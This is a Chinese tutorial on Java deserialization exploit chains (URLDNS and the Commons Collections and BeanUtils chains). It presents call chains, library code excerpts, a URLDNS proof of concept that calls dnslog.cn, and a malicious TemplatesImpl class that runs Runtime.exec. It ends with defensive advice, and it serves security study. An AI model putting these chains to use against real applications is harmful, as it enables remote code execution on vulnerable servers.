CC、CB链整合篇
字数 1985 2025-09-23 19:27:46

CC/CB链整合分析教程

1. URLDNS链分析

1.1 基本原理

  • URLDNS链用于探测反序列化漏洞是否存在
  • 通过HashMap的hash方法触发URL的hashCode方法
  • hashCode方法会发起DNS查询

1.2 关键代码

// 触发点
handler.hashCode(this);  // 在URL类中

// 完整POC
HashMap hm = new HashMap();
URL u = new URL("http://dnslog.cn");
// 反射修改hashCode值避免put时触发
Field f = u.getClass().getDeclaredField("hashCode");
f.setAccessible(true);
f.set(u, -1);
hm.put(u, "test");
// 恢复hashCode值
f.set(u, -1);

1.3 利用链

HashMap.readObject() -> HashMap.hash() -> URL.hashCode() -> URLStreamHandler.hashCode() -> URL.getHostAddress() -> DNS查询

2. CC1链分析

2.1 环境要求

  • Commons Collections <= 3.2.1
  • JDK <= 8u65

2.2 核心组件

2.2.1 Transformer接口

public interface Transformer {
    Object transform(Object input);
}

2.2.2 InvokerTransformer

public Object transform(Object input) {
    Class cls = input.getClass();
    Method method = cls.getMethod(iMethodName, iParamTypes);
    return method.invoke(input, iArgs);
}

2.2.3 ConstantTransformer

public Object transform(Object input) {
    return iConstant;
}

2.2.4 ChainedTransformer

public Object transform(Object object) {
    for (Transformer transformer : iTransformers) {
        object = transformer.transform(object);
    }
    return object;
}

2.2.5 TransformedMap

protected Object checkSetValue(Object value) {
    return valueTransformer.transform(value);
}

2.2.6 AnnotationInvocationHandler

private void readObject(ObjectInputStream var1) {
    // ...
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
        memberValue.setValue(...);
    }
}

2.3 完整利用链

AnnotationInvocationHandler.readObject() 
-> AbstractInputCheckedMapDecorator.MapEntry.setValue() 
-> TransformedMap.checkSetValue() 
-> ChainedTransformer.transform() 
-> ConstantTransformer.transform() 
-> InvokerTransformer.transform() 
-> Runtime.exec()

2.4 关键点说明

  1. 必须使用Target.class作为AnnotationInvocationHandler构造参数,因为:

    • 必须是注解类
    • 注解接口数必须为1
    • 必须为Annotation.class
  2. Map中必须包含键为"value"的条目,因为:

    • @Target注解只有value属性
    • 代码会检查memberValues中是否有对应注解属性的键

3. CC6链分析

3.1 改进点

  • 解决高版本JDK中AnnotationInvocationHandler.readObject()不再调用setValue的问题
  • 使用LazyMap替代TransformedMap

3.2 核心组件

3.2.1 LazyMap

public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = factory.transform(key);
        super.map.put(key, value);
        return value;
    }
    return super.map.get(key);
}

3.2.2 TiedMapEntry

public Object getValue() {
    return map.get(key);
}

public int hashCode() {
    return getValue().hashCode();
}

3.2.3 HashMap

final int hash(Object key) {
    return key.hashCode();
}

3.3 完整利用链

HashMap.readObject() 
-> HashMap.hash() 
-> TiedMapEntry.hashCode() 
-> TiedMapEntry.getValue() 
-> LazyMap.get() 
-> ChainedTransformer.transform() 
-> Runtime.exec()

3.4 关键问题解决

  • 问题:put操作会提前触发LazyMap.get()
  • 解决方案:通过反射修改TiedMapEntry的map属性,避免提前触发

4. CC3链分析

4.1 改进点

  • 绕过Runtime黑名单限制
  • 使用TemplatesImpl加载自定义字节码

4.2 核心组件

4.2.1 TemplatesImpl

public synchronized void defineTransletClasses() {
    // ...
    _class[i] = loader.defineClass(_bytecodes[i]);
}

private Translet getTransletInstance() {
    if (_class == null) defineTransletClasses();
    AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
    return translet;
}

public synchronized Properties getOutputProperties() {
    return newTransformer().getOutputProperties();
}

4.3 恶意类要求

public class EvilClass extends AbstractTranslet {
    public EvilClass() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    // 必须实现这两个方法
    public void transform(DOM document, SerializationHandler[] handlers) {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}
}

4.4 关键配置

// 设置_bytecodes
setFieldValue(templates, "_bytecodes", new byte[][] {evilCode});
// 设置_name
setFieldValue(templates, "_name", "test");
// 设置_tfactory
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

5. CC2链分析

5.1 改进点

  • 绕过InvokerTransformer限制
  • 使用InstantiateTransformer触发TrAXFilter构造方法

5.2 核心组件

5.2.1 InstantiateTransformer

public Object transform(Object input) {
    Constructor con = ((Class)input).getConstructor(iParamTypes);
    return con.newInstance(iArgs);
}

5.2.2 TrAXFilter

public TrAXFilter(Templates templates) throws TransformerConfigurationException {
    templates.newTransformer();  // 触发点
}

5.3 完整利用链

PriorityQueue.readObject() 
-> heapify() 
-> siftDown() 
-> siftDownUsingComparator() 
-> TransformingComparator.compare() 
-> InstantiateTransformer.transform() 
-> TrAXFilter构造方法 
-> TemplatesImpl.newTransformer() 
-> getTransletInstance() 
-> defineClass()加载恶意字节码

6. CC4链分析

6.1 改进点

  • 适用于Commons Collections 4.0+
  • 使用TransformingComparator作为触发点

6.2 核心组件

6.2.1 TransformingComparator

public int compare(Object obj1, Object obj2) {
    Object value1 = this.transformer.transform(obj1);
    Object value2 = this.transformer.transform(obj2);
    return this.decorated.compare(value1, value2);
}

6.3 关键配置

// 必须设置size>=2才能触发heapify
setFieldValue(queue, "size", 2);

7. CB1链分析

7.1 环境要求

  • Commons BeanUtils <= 1.9.2

7.2 核心组件

7.2.1 PropertyUtils.getProperty

// 可以调用私有getter方法
Object value = PropertyUtils.getProperty(bean, propertyName);

7.2.2 BeanComparator

public int compare(Object o1, Object o2) {
    Object value1 = PropertyUtils.getProperty(o1, property);
    Object value2 = PropertyUtils.getProperty(o2, property);
    return internalCompare(value1, value2);
}

7.3 完整利用链

PriorityQueue.readObject() 
-> heapify() 
-> siftDown() 
-> siftDownUsingComparator() 
-> BeanComparator.compare() 
-> PropertyUtils.getProperty() 
-> TemplatesImpl.getOutputProperties() 
-> newTransformer() 
-> 加载恶意字节码

8. 总结

8.1 各链对比

链名称 适用版本 核心特点 触发方式
URLDNS 通用 仅用于探测 HashMap触发URL.hashCode
CC1 CC<=3.2.1, JDK<=8u65 使用AnnotationInvocationHandler setValue触发
CC6 CC<=3.2.1 使用LazyMap+TiedMapEntry hashCode触发
CC3 CC<=3.2.1, JDK<=8u65 使用TemplatesImpl加载字节码 多种触发方式
CC2 CC<=3.2.1 绕过InvokerTransformer InstantiateTransformer触发
CC4 CC4.0+ 使用TransformingComparator PriorityQueue触发
CB1 BeanUtils<=1.9.2 使用BeanComparator getProperty触发

8.2 防御建议

  1. 升级Commons Collections到最新版本
  2. 使用JDK高版本(>8u65)
  3. 实施反序列化白名单
  4. 使用安全框架如SerialKiller

8.3 学习建议

  1. 从简单的URLDNS开始理解基本原理
  2. 逐步分析每个Transformer的功能
  3. 重点关注触发点和参数传递
  4. 使用调试工具跟踪执行流程
  5. 尝试构造自己的POC加深理解
CC/CB链整合分析教程 1. URLDNS链分析 1.1 基本原理 URLDNS链用于探测反序列化漏洞是否存在 通过HashMap的hash方法触发URL的hashCode方法 hashCode方法会发起DNS查询 1.2 关键代码 1.3 利用链 2. CC1链分析 2.1 环境要求 Commons Collections <= 3.2.1 JDK <= 8u65 2.2 核心组件 2.2.1 Transformer接口 2.2.2 InvokerTransformer 2.2.3 ConstantTransformer 2.2.4 ChainedTransformer 2.2.5 TransformedMap 2.2.6 AnnotationInvocationHandler 2.3 完整利用链 2.4 关键点说明 必须使用 Target.class 作为AnnotationInvocationHandler构造参数,因为: 必须是注解类 注解接口数必须为1 必须为Annotation.class Map中必须包含键为"value"的条目,因为: @Target注解只有value属性 代码会检查memberValues中是否有对应注解属性的键 3. CC6链分析 3.1 改进点 解决高版本JDK中AnnotationInvocationHandler.readObject()不再调用setValue的问题 使用LazyMap替代TransformedMap 3.2 核心组件 3.2.1 LazyMap 3.2.2 TiedMapEntry 3.2.3 HashMap 3.3 完整利用链 3.4 关键问题解决 问题 :put操作会提前触发LazyMap.get() 解决方案 :通过反射修改TiedMapEntry的map属性,避免提前触发 4. CC3链分析 4.1 改进点 绕过Runtime黑名单限制 使用TemplatesImpl加载自定义字节码 4.2 核心组件 4.2.1 TemplatesImpl 4.3 恶意类要求 4.4 关键配置 5. CC2链分析 5.1 改进点 绕过InvokerTransformer限制 使用InstantiateTransformer触发TrAXFilter构造方法 5.2 核心组件 5.2.1 InstantiateTransformer 5.2.2 TrAXFilter 5.3 完整利用链 6. CC4链分析 6.1 改进点 适用于Commons Collections 4.0+ 使用TransformingComparator作为触发点 6.2 核心组件 6.2.1 TransformingComparator 6.3 关键配置 7. CB1链分析 7.1 环境要求 Commons BeanUtils <= 1.9.2 7.2 核心组件 7.2.1 PropertyUtils.getProperty 7.2.2 BeanComparator 7.3 完整利用链 8. 总结 8.1 各链对比 | 链名称 | 适用版本 | 核心特点 | 触发方式 | |--------|----------|----------|----------| | URLDNS | 通用 | 仅用于探测 | HashMap触发URL.hashCode | | CC1 | CC<=3.2.1, JDK <=8u65 | 使用AnnotationInvocationHandler | setValue触发 | | CC6 | CC <=3.2.1 | 使用LazyMap+TiedMapEntry | hashCode触发 | | CC3 | CC<=3.2.1, JDK <=8u65 | 使用TemplatesImpl加载字节码 | 多种触发方式 | | CC2 | CC <=3.2.1 | 绕过InvokerTransformer | InstantiateTransformer触发 | | CC4 | CC4.0+ | 使用TransformingComparator | PriorityQueue触发 | | CB1 | BeanUtils <=1.9.2 | 使用BeanComparator | getProperty触发 | 8.2 防御建议 升级Commons Collections到最新版本 使用JDK高版本(>8u65) 实施反序列化白名单 使用安全框架如SerialKiller 8.3 学习建议 从简单的URLDNS开始理解基本原理 逐步分析每个Transformer的功能 重点关注触发点和参数传递 使用调试工具跟踪执行流程 尝试构造自己的POC加深理解